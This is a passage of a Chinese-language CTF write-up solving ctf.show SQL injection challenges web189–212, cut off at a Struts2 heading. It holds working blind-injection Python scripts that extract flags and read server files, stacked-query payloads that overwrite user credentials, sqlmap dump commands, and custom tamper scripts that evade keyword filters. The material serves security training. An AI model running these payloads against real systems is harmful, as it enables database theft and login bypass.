$ret&#91;'msg']='\u767b\u9646\u6210\u529f';\n    }<\/code><\/pre>\n\n\n\n<p>flag\u5728api\/index.php\u6587\u4ef6\u4e2d\uff0c\u6240\u4ee5\u53ea\u80fd\u76f2\u6ce8\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport time\n\nurl = \"http:\/\/9cb4c9e3-266b-448b-9b17-b1ad6e41239b.challenge.ctf.show\/api\/\"\nflagstr = \"}{&lt;&gt;$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789\"\n\nflag = \"\"\n#\u8fd9\u4e2a\u4f4d\u7f6e\uff0c\u662f\u7fa4\u4e3b\u8017\u8d39\u5f88\u957f\u65f6\u95f4\u8dd1\u51fa\u6765\u7684\u4f4d\u7f6e~\nfor i in range(257,257+60):\n\tfor x in flagstr:\n\t\tdata={\n\t\t\"username\":\"if(substr(load_file('\/var\/www\/html\/api\/index.php'),{},1)=('{}'),1,0)\".format(i,x),\n\t\t\"password\":\"0\"\n\t\t}\n\t\tprint(data)\n\t\tresponse = requests.post(url,data=data)\n\t\ttime.sleep(0.3)\n\t\t# 8d25\u662fusername=1\u65f6\u7684\u9875\u9762\u8fd4\u56de\u5185\u5bb9\u5305\u542b\u7684\uff0c\u5177\u4f53\u53ef\u4ee5\u770b\u4e0a\u9762\u7684\u622a\u56fe~\n\t\tif response.text.find(\"8d25\")&gt;0:\n\t\t\tprint(\"++++++++++++++++++ {} is right\".format(x))\n\t\t\tflag+=x\n\t\t\tbreak\n\t\telse:\n\t\t\tcontinue\n\tprint(flag)\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web190<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>  \/\/\u62fc\u63a5sql\u8bed\u53e5\u67e5\u627e\u6307\u5b9aID\u7528\u6237\n  $sql = \"select pass from ctfshow_user where username = '{$username}'\";<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>  \/\/\u5bc6\u7801\u68c0\u6d4b\n  if(!is_numeric($password)){\n    $ret&#91;'msg']='\u5bc6\u7801\u53ea\u80fd\u4e3a\u6570\u5b57';\n    die(json_encode($ret));\n  }\n\n  \/\/\u5bc6\u7801\u5224\u65ad\n  if($row&#91;'pass']==$password){\n      $ret&#91;'msg']='\u767b\u9646\u6210\u529f';\n    }\n\n  \/\/TODO:\u611f\u89c9\u5c11\u4e86\u4e2a\u5565\uff0c\u5947\u602a\n<\/code><\/pre>\n\n\n\n<p>\u67e5\u8be2\u8bed\u53e5\u91cc\u52a0\u4e0a\u4e86\u5355\u5f15\u53f7\uff1a<code>username = '{$username}'<\/code>,\u5bc6\u7801\u4f9d\u7136\u662f\u548c\u6570\u5b57\u5f31\u7c7b\u578b\u6bd4\u8f83\uff0c\u6240\u4ee5\u5176\u5b9e\u6ca1\u5565\u5dee\u522b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#author:yu22x\nimport requests\nimport string\nurl=\"http:\/\/46163ae9-ca15-415c-9a1f-d79ea27cf81e.challenge.ctf.show\/api\/index.php\"\ns=string.ascii_letters+string.digits\nflag=''\nfor i in range(1,45):\n    print(i)\n    for j in range(32,128):\n        #\u8dd1\u5e93\u540d\n        # data={\n        #     'username':f\"'||if(ascii(substr(database(),{i},1))={j},1,0)#\",\n        #     'password':'1'\n        # }\n\n        #\u8dd1\u8868\u540d\n        # data={\n        #     'username':f\"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#\",\n        #     'password':'1'\n        # }\n\n        #\u8dd1\u5217\u540d\n        # data={\n        #     'username':f\"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#\",\n        #     'password':'1'\n        # }\n        #\u8dd1\u6570\u636e\n        data={\n            'username':f\"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#\",\n            'password':'1'\n        }\n        r=requests.post(url,data=data)\n        if(\"\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef\" in r.text):\n            flag+=chr(j)  \n            print(flag)\n            break\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web191<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>  \/\/\u62fc\u63a5sql\u8bed\u53e5\u67e5\u627e\u6307\u5b9aID\u7528\u6237\n  $sql = \"select pass from ctfshow_user where username = '{$username}'\";<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>  \/\/\u5bc6\u7801\u68c0\u6d4b\n  if(!is_numeric($password)){\n    $ret&#91;'msg']='\u5bc6\u7801\u53ea\u80fd\u4e3a\u6570\u5b57';\n    die(json_encode($ret));\n  }\n\n  \/\/\u5bc6\u7801\u5224\u65ad\n  if($row&#91;'pass']==$password){\n      $ret&#91;'msg']='\u767b\u9646\u6210\u529f';\n    }\n\n  \/\/TODO:\u611f\u89c9\u5c11\u4e86\u4e2a\u5565\uff0c\u5947\u602a\n    if(preg_match('\/file|into|ascii\/i', $username)){\n        $ret&#91;'msg']='\u7528\u6237\u540d\u975e\u6cd5';\n        die(json_encode($ret));\n    }<\/code><\/pre>\n\n\n\n<p>\u6539\u6210ord\u5c31\u884c\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#author:yu22x\nimport requests\nimport string\nurl=\"http:\/\/f5ac78f2-fd7e-4221-9bf0-d63586ee8a51.challenge.ctf.show\/api\/index.php\"\ns=string.ascii_letters+string.digits\nflag=''\nfor i in range(1,45):\n    print(i)\n    for j in range(32,128):\n        #\u8dd1\u5e93\u540d\n        # data={\n        #     'username':f\"'||if(ascii(substr(database(),{i},1))={j},1,0)#\",\n        #     'password':'1'\n        # }\n\n        #\u8dd1\u8868\u540d\n        # data={\n        #     'username':f\"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#\",\n        #     'password':'1'\n        # }\n\n        #\u8dd1\u5217\u540d\n        # data={\n        #     'username':f\"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#\",\n        #     'password':'1'\n        # }\n        #\u8dd1\u6570\u636e\n        data={\n            'username':f\"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#\",\n            'password':'1'\n        }\n        r=requests.post(url,data=data)\n        if(\"\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef\" in r.text):\n            flag+=chr(j)  \n            print(flag)\n            break\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web192<\/h2>\n\n\n\n<p>ord\u88ab\u7981\u4e86\uff0c\u6539\u6210\u8dd1\u5b57\u7b26\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> if(preg_match('\/file|into|ascii|ord|hex\/i', $username)){\n        $ret&#91;'msg']='\u7528\u6237\u540d\u975e\u6cd5';\n        die(json_encode($ret));\n    }<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport string\nurl=\"http:\/\/ce110fe8-25ce-4466-977e-9adadcc811b3.challenge.ctf.show\/api\/index.php\"\ns=string.ascii_lowercase+string.digits+'{'+'}'+'-'\nflag=''\n\nfor i in range(1,45):\n    for j in s:\n    \n        data={\n            'username':f\"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}',1,0)#\",\n            'password':'1'\n        }\n        r=requests.post(url,data=data)\n        if(\"\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef\" in r.text):\n            flag+=j  \n            print(flag)\n            break\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web193<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>  \/\/TODO:\u611f\u89c9\u5c11\u4e86\u4e2a\u5565\uff0c\u5947\u602a\n    if(preg_match('\/file|into|ascii|ord|hex|substr\/i', $username)){\n        $ret&#91;'msg']='\u7528\u6237\u540d\u975e\u6cd5';\n        die(json_encode($ret));\n    }\n<\/code><\/pre>\n\n\n\n<p>\u591a\u8fc7\u6ee4\u4e86substr\uff0c\u53ef\u4ee5\u6362\u6210mid<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport string\nurl=\"http:\/\/9c661478-5e7e-42ee-a47d-586a2a2c614b.challenge.ctf.show\/api\/index.php\"\ns=string.ascii_lowercase+string.digits+'{'+'}'+'-'\nflag=''\n\nfor i in range(1,46):\n    for j in s:\n\t\t        #\u8dd1\u8868\u540d\n        # data={\n        #     'username':f\"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{j}',1,0)#\",\n        #     'password':'1'\n        # }\n\n        #\u8dd1\u5217\u540d\n        # data={\n        #     'username':f\"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{j}',1,0)#\",\n        #     'password':'1'\n        # }\n        #\u8dd1\u6570\u636e\n        data={\n            'username':f\"'||if((mid((select f1ag from ctfshow_flxg),{i},1))='{j}',1,0)#\",\n            'password':'1'\n        }\n        r=requests.post(url,data=data)\n        if(\"\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef\" in r.text):\n            flag+=j  \n            print(flag)\n            break\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web194<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web195<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>  \/\/\u5bc6\u7801\u68c0\u6d4b\n  if(!is_numeric($password)){\n    $ret&#91;'msg']='\u5bc6\u7801\u53ea\u80fd\u4e3a\u6570\u5b57';\n    die(json_encode($ret));\n  }\n\n  \/\/\u5bc6\u7801\u5224\u65ad\n  if($row&#91;'pass']==$password){\n      $ret&#91;'msg']='\u767b\u9646\u6210\u529f';\n    }\n\n  \/\/TODO:\u611f\u89c9\u5c11\u4e86\u4e2a\u5565\uff0c\u5947\u602a,\u4e0d\u4f1a\u53c8\u53cc\u53d2\u53d5\u88ab\u4e00\u8840\u4e86\u5427\n  if(preg_match('\/ |\\*|\\x09|\\x0a|\\x0b|\\x0c|\\x0d|\\xa0|\\x00|\\#|\\x23|\\'|\\\"|select|union|or|and|\\x26|\\x7c|file|into\/i', $username)){\n    $ret&#91;'msg']='\u7528\u6237\u540d\u975e\u6cd5';\n    die(json_encode($ret));\n  }\n\n  if($row&#91;0]==$password){\n      $ret&#91;'msg']=\"\u767b\u9646\u6210\u529f flag is $flag\";\n  }\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>1;update(ctfshow_user)set`username`=1;\n1;update(ctfshow_user)set`pass`=1;<\/code><\/pre>\n\n\n\n<p>\u4e24\u6b21\u5206\u522b\u628a\u7528\u6237\u540d\u548c\u5bc6\u7801\u90fd\u8bbe\u4e3a1\uff0c\u7136\u540e\u767b\u5f55\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web196<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>  \/\/TODO:\u611f\u89c9\u5c11\u4e86\u4e2a\u5565\uff0c\u5947\u602a,\u4e0d\u4f1a\u53c8\u53cc\u53d2\u53d5\u88ab\u4e00\u8840\u4e86\u5427\n  if(preg_match('\/ |\\*|\\x09|\\x0a|\\x0b|\\x0c|\\x0d|\\xa0|\\x00|\\#|\\x23|\\'|\\\"|select|union|or|and|\\x26|\\x7c|file|into\/i', $username)){\n    $ret&#91;'msg']='\u7528\u6237\u540d\u975e\u6cd5';\n    die(json_encode($ret));\n  }\n\n  if(strlen($username)&gt;16){\n    $ret&#91;'msg']='\u7528\u6237\u540d\u4e0d\u80fd\u8d85\u8fc716\u4e2a\u5b57\u7b26';\n    die(json_encode($ret));\n  }\n\n  if($row&#91;0]==$password){\n      $ret&#91;'msg']=\"\u767b\u9646\u6210\u529f flag is $flag\";\n  }\n      <\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>username=0;select(1)&amp;password=1<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5\u5f3a\u5236\u767b\u5f55(\u6240\u4ee5\u8fd9\u4e2aselect\u5b9e\u9645\u4e0a\u6ca1\u6709\u88ab\u8fc7\u6ee4)<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web197-200<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>username=1;show tables;&amp;password=ctfshow_user<\/code><\/pre>\n\n\n\n<p>show tables\u7684\u7ed3\u679c\u5c31\u662fctfshow_user\uff0c\u6240\u4ee5\u7528password\u4e0e\u4e4b\u76f8\u7b49\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web201<\/h2>\n\n\n\n<p>\u7cfb\u7edf\u5b66\u4e60sqlmap\uff0c\u6284\u4e00\u4e0b\u522b\u4eba\u5e08\u5085\u7684\u63cf\u8ff0\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5f53\u524d\u6570\u636e\u5e93\n\u53c2\u6570\uff1a--current-db\n\u8fd4\u8fd8\u5f53\u524d\u8fde\u63a5\u7684\u6570\u636e\u5e93\u3002\n\n\u5217\u4e3e\u6570\u636e\u5e93\u8868\n\u53c2\u6570\uff1a--tables,--exclude-sysdbs,-D\n\u5f53\u524d\u7528\u6237\u6709\u6743\u9650\u8bfb\u53d6\u5305\u542b\u6240\u6709\u6570\u636e\u5e93\u8868\u4fe1\u606f\u7684\u8868\u4e2d\u7684\u65f6\u5019\uff0c\u5373\u53ef\u5217\u51fa\u4e00\u4e2a\u7279\u5b9a\u6570\u636e\u7684\u6240\u6709\u8868\u3002\n\u5982\u679c\u4f60\u4e0d\u63d0\u4f9b-D\u53c2\u6570\u6765\u5217\u6307\u5b9a\u7684\u4e00\u4e2a\u6570\u636e\u7684\u65f6\u5019\uff0csqlmap\u4f1a\u5217\u51fa\u6570\u636e\u5e93\u6240\u6709\u5e93\u7684\u6240\u6709\u8868\u3002\n--exclude-sysdbs\u53c2\u6570\u662f\u6307\u5305\u542b\u4e86\u6240\u6709\u7684\u7cfb\u7edf\u6570\u636e\u5e93\u3002\n\u9700\u8981\u6ce8\u610f\u7684\u662f\u5728Oracle\u4e2d\u4f60\u9700\u8981\u63d0\u4f9b\u7684\u662fTABLESPACE_NAME\u800c\u4e0d\u662f\u6570\u636e\u5e93\u540d\u79f0\u3002\n\n\u5217\u4e3e\u6570\u636e\u5e93\u8868\u4e2d\u7684\u5b57\u6bb5\n\u53c2\u6570\uff1a--columns,-C,-T,-D\n\u5f53\u524d\u7528\u6237\u6709\u6743\u9650\u8bfb\u53d6\u5305\u542b\u6240\u6709\u6570\u636e\u5e93\u8868\u4fe1\u606f\u7684\u8868\u4e2d\u7684\u65f6\u5019\uff0c\u5373\u53ef\u5217\u51fa\u6307\u5b9a\u6570\u636e\u5e93\u8868\u4e2d\u7684\u5b57\u6bb5\uff0c\u540c\u65f6\u4e5f\u4f1a\u5217\u51fa\u5b57\u6bb5\u7684\u6570\u636e\u7c7b\u578b\u3002\n\u5982\u679c\u6ca1\u6709\u4f7f\u7528-D\u53c2\u6570\u6307\u5b9a\u6570\u636e\u5e93\u65f6\uff0c\u9ed8\u8ba4\u4f1a\u4f7f\u7528\u5f53\u524d\u6570\u636e\u5e93\u3002\n\n\u83b7\u53d6\u6574\u4e2a\u8868\u7684\u6570\u636e\n\u53c2\u6570\uff1a--dump,-C,-T,-D,--start,--stop,--first,--last\n\u5982\u679c\u5f53\u524d\u7ba1\u7406\u5458\u6709\u6743\u9650\u8bfb\u53d6\u6570\u636e\u5e93\u5176\u4e2d\u7684\u4e00\u4e2a\u8868\u7684\u8bdd\uff0c\u90a3\u4e48\u5c31\u80fd\u83b7\u53d6\u771f\u4e2a\u8868\u7684\u6240\u6709\u5185\u5bb9\u3002\n\u4f7f\u7528-D,-T\u53c2\u6570\u6307\u5b9a\u60f3\u8981\u83b7\u53d6\u54ea\u4e2a\u5e93\u7684\u54ea\u4e2a\u8868\uff0c\u4e0d\u9002\u7528-D\u53c2\u6570\u65f6\uff0c\u9ed8\u8ba4\u4f7f\u7528\u5f53\u524d\u5e93\u3002\n\n\u4f7f\u7528\u53c2\u6570\u7ed5waf\n--random-agent    \u4f7f\u7528\u4efb\u610fHTTP\u5934\u8fdb\u884c\u7ed5\u8fc7\uff0c\u5c24\u5176\u662f\u5728WAF\u914d\u7f6e\u4e0d\u5f53\u7684\u65f6\u5019\n--time-sec=3      \u4f7f\u7528\u957f\u7684\u5ef6\u65f6\u6765\u907f\u514d\u89e6\u53d1WAF\u7684\u673a\u5236\uff0c\u8fd9\u65b9\u5f0f\u6bd4\u8f83\u8017\u65f6\n--hpp             \u4f7f\u7528HTTP \u53c2\u6570\u6c61\u67d3\u8fdb\u884c\u7ed5\u8fc7\uff0c\u5c24\u5176\u662f\u5728ASP.NET\/IIS \u5e73\u53f0\u4e0a\n--proxy=100.100.100.100:8080 --proxy-cred=211:985      \u4f7f\u7528\u4ee3\u7406\u8fdb\u884c\u7ed5\u8fc7\n--ignore-proxy    \u7981\u6b62\u4f7f\u7528\u7cfb\u7edf\u7684\u4ee3\u7406\uff0c\u76f4\u63a5\u8fde\u63a5\u8fdb\u884c\u6ce8\u5165\n--flush-session   \u6e05\u7a7a\u4f1a\u8bdd\uff0c\u91cd\u6784\u6ce8\u5165\n--hex \u6216\u8005 --no-cast     \u8fdb\u884c\u5b57\u7b26\u7801\u8f6c\u6362\n--mobile          \u5bf9\u79fb\u52a8\u7aef\u7684\u670d\u52a1\u5668\u8fdb\u884c\u6ce8\u5165\n--tor             \u533f\u540d\u6ce8\u5165\n\n\u6307\u5b9a\u811a\u672c\u8fdb\u884c\u7ed5\u8fc7\uff08--tamper\uff09\n\u6bd4\u5982sqlmap -u \"http:\/\/xxx\/Less-1\/?id=1\" --tamper=\"space2comment.py,space2plus.py\"\n\n\u63a2\u6d4b\u7b49\u7ea7\u548c\u5371\u9669\u7b49\u7ea7(\u2014level \u2014risk)\nsqlmap\u4e00\u5171\u67095\u4e2a\u63a2\u6d4b\u7b49\u7ea7\uff0c\u9ed8\u8ba4\u662f1\u3002\u7b49\u7ea7\u8d8a\u9ad8\uff0c\u8bf4\u660e\u63a2\u6d4b\u65f6\u4f7f\u7528\u7684payload\u4e5f\u8d8a\u591a\u3002\u5176\u4e2d5\u7ea7\u7684payload\u6700\u591a\uff0c\u4f1a\u81ea\u52a8\u7834\u89e3\u51facookie\u3001XFF\u7b49\u5934\u90e8\u6ce8\u5165\u3002\u5f53\u7136\uff0c\u7b49\u7ea7\u8d8a\u9ad8\uff0c\u63a2\u6d4b\u7684\u65f6\u95f4\u4e5f\u8d8a\u6162\u3002\u8fd9\u4e2a\u53c2\u6570\u4f1a\u5f71\u54cd\u6d4b\u8bd5\u7684\u6ce8\u5165\u70b9\uff0cGET\u548cPOST\u7684\u6570\u636e\u90fd\u4f1a\u8fdb\u884c\u6d4b\u8bd5\uff0cHTTP cookie\u5728level\u4e3a2\u65f6\u5c31\u4f1a\u6d4b\u8bd5\uff0cHTTP User-Agent\/Referer\u5934\u5728level\u4e3a3\u65f6\u5c31\u4f1a\u6d4b\u8bd5\u3002\u5728\u4e0d\u786e\u5b9a\u54ea\u4e2a\u53c2\u6570\u4e3a\u6ce8\u5165\u70b9\u65f6\uff0c\u4e3a\u4e86\u4fdd\u8bc1\u51c6\u786e\u6027\uff0c\u5efa\u8bae\u8bbe\u7f6elevel\u4e3a5\n<\/code><\/pre>\n\n\n\n<p id=\"result\">\u9898\u76ee\u8981\u6c42\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap\u6700\u65b0\u7248\u4e0b\u8f7d\n\n\u4f7f\u7528--user-agent \u6307\u5b9aagent\n\n\u4f7f\u7528--referer \u7ed5\u8fc7referer\u68c0\u67e5<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u http:\/\/dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show\/api\/?id=1 -D ctfshow_web -T ctfshow_user -C pass -dump --refer=ctf.show\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web202<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4f7f\u7528--data \u8c03\u6574sqlmap\u7684\u8bf7\u6c42\u65b9\u5f0f<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u http:\/\/86a06618-62a0-4fe8-90b1-cbe82859ef43.challenge.ctf.show\/api\/ --data=\"id=1\" --referer=\"ctf.show\" --dump\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web203<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4f7f\u7528--method \u8c03\u6574sqlmap\u7684\u8bf7\u6c42\u65b9\u5f0f<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u http:\/\/976af25a-071d-4e03-9b5a-9d8333b65943.challenge.ctf.show\/api\/index.php   --method=PUT --data=\"id=1\" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer=\"ctf.show\" --headers=\"Content-Type: text\/plain\"\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web204<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> \u4f7f\u7528--cookie \u63d0\u4ea4cookie\u6570\u636e<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u http:\/\/01c7d214-3aa8-43db-be16-b210d02ac965.challenge.ctf.show\/api\/index.php  --cookie=3089874dc14bcc794d70b21cdd8bb544  --method=PUT --headers=\"Content-Type: text\/plain\" --data=\"id=1\" --refer=ctf.show --current-db --tables -T ctfshow_user --columns  -C pass -dump\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web205<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>api\u8c03\u7528\u9700\u8981\u9274\u6743<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>--safe-url \u8bbe\u7f6e\u5728\u6d4b\u8bd5\u76ee\u6807\u5730\u5740\u524d\u8bbf\u95ee\u7684\u5b89\u5168\u94fe\u63a5\n--safe-freq \u8bbe\u7f6e\u4e24\u6b21\u6ce8\u5165\u6d4b\u8bd5\u524d\u8bbf\u95ee\u5b89\u5168\u94fe\u63a5\u7684\u6b21\u6570\n\nsqlmap -u http:\/\/390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show\/api\/index.php --method=PUT --data=\"id=1\" -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --referer=\"ctf.show\" --headers=\"Content-Type: text\/plain\" --safe-url http:\/\/390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show\/api\/getToken.php --safe-freq 1\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web206<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u http:\/\/b881b8c1-4303-4064-be9e-94341d9eeaec.challenge.ctf.show\/api\/index.php --method=PUT --data=\"id=1\" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --referer=\"ctf.show\" --headers=\"Content-Type: text\/plain\" --safe-url http:\/\/b881b8c1-4303-4064-be9e-94341d9eeaec.challenge.ctf.show\/api\/getToken.php --safe-freq 1\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web207<\/h2>\n\n\n\n<p>\u589e\u52a0\u4e86\u8fc7\u6ee4\uff0c\u8fc7\u6ee4\u4e86\u7a7a\u683c\uff0c\u53ef\u4ee5\u76f4\u63a5\u7528sqlmap\u4e2d\u81ea\u5e26\u7684tamper space2comment.py\u5c06\u7a7a\u683c\u66ff\u6362\u6210\/**\/<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u http:\/\/aa934943-9c1e-4425-92a3-4a144b163026.challenge.ctf.show\/api\/index.php --method=PUT --data=\"id=1\" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer=\"ctf.show\" --headers=\"Content-Type: text\/plain\" --safe-url http:\/\/aa934943-9c1e-4425-92a3-4a144b163026.challenge.ctf.show\/api\/getToken.php --safe-freq 1 --tamper  space2comment.py\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web208<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u5c0f\u5199select\uff0c\u7136\u800csqlmap\u7528\u7684\u5927\u5199\u7684\uff0c\u6240\u4ee5\u6ca1\u5dee\u522b<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web209<\/h2>\n\n\n\n<p>\u81ea\u5df1\u5199\u4e00\u4e2atamper \uff1actfshow209.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python\n\n\"\"\"\nCopyright (c) 2006-2022 sqlmap developers (https:\/\/sqlmap.org\/)\nSee the file 'LICENSE' for copying permission\n\"\"\"\n\nfrom lib.core.compat import xrange\nfrom lib.core.enums import PRIORITY\n\n__priority__ = PRIORITY.LOW\n\ndef dependencies():\n    pass\n\ndef tamper(payload, **kwargs):\n\n\n    retVal = payload\n    retVal = retVal.replace(\"=\", \" like \")\n    retVal = retVal.replace(\" \", chr(0x0a))\n\n\n    return retVal\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u http:\/\/5cb45ff6-c3c8-46cf-b0bc-5e9f6f711554.challenge.ctf.show\/api\/index.php --method=PUT --data=\"id=1\" -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch --referer=\"ctf.show\" --headers=\"Content-Type: text\/plain\" --safe-url http:\/\/5cb45ff6-c3c8-46cf-b0bc-5e9f6f711554.challenge.ctf.show\/api\/getToken.php --safe-freq 1 --tamper  ctfshow209.py\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web210<\/h2>\n\n\n\n<p>ctfshow210.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python\n\n\"\"\"\nCopyright (c) 2006-2022 sqlmap developers (https:\/\/sqlmap.org\/)\nSee the file 'LICENSE' for copying permission\n\"\"\"\n\nfrom lib.core.compat import xrange\nfrom lib.core.enums import PRIORITY\nfrom base64 import *\n\n__priority__ = PRIORITY.LOW\n\ndef dependencies():\n    pass\n\ndef tamper(payload, **kwargs):\n\n\n    retVal = payload\n    retVal = retVal.replace(\"-- -\", \"#\")\n    retVal = b64encode(\"\".join(reversed(b64encode(\"\".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')\n\n    return retVal<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u http:\/\/14dfde18-ef20-4f41-b6c7-0aceca1f80fc.challenge.ctf.show\/api\/index.php --method=PUT --data=\"id=1\" -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --referer=\"ctf.show\" --headers=\"Content-Type: text\/plain\" --safe-url http:\/\/14dfde18-ef20-4f41-b6c7-0aceca1f80fc.challenge.ctf.show\/api\/getToken.php --safe-freq 1 --tamper  ctfshow210.py\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web211<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from lib.core.enums import PRIORITY\nfrom lib.core.common import singleTimeWarnMessage\nimport base64\n\n__priority__ = PRIORITY.LOW\n\ndef dependencies():\n    singleTimeWarnMessage(\"\")\n\ndef tamper(payload, **kwargs):\n\n    retVal = payload\n\n    retVal = retVal.replace(\" \", \"\/**\/\")\n    retVal = retVal.encode()\n    retVal = retVal&#91;::-1]\n    retVal = base64.b64encode(retVal)\n    retVal = retVal&#91;::-1]\n    retVal = base64.b64encode(retVal)\n    retVal = retVal.decode()\n\n    return retVal\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u http:\/\/221ac7d3-212d-4532-9b49-dbf4a611b2ed.challenge.ctf.show\/api\/index.php --data=\"id=1\" --refer=\"ctf.show\" --method=\"PUT\" --headers=\"Content-Type:text\/plain\" --safe-url=\"http:\/\/221ac7d3-212d-4532-9b49-dbf4a611b2ed.challenge.ctf.show\/api\/getToken.php\" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa,id,tes --dump --batch --tamper 211.py<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web212<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u5bf9\u67e5\u8be2\u5b57\u7b26\u8fdb\u884c\u89e3\u5bc6\n  function decode($id){\n    return strrev(base64_decode(strrev(base64_decode($id))));\n  }\nfunction waf($str){\n    return preg_match('\/ |\\*\/', $str);\n}<\/code><\/pre>\n\n\n\n<p>\u6539\u6210\u66ff\u6362\u6210%09<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7JAVA<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web279-S2-001<\/h2>\n\n\n\n<p>struts2\u6f0f\u6d1e 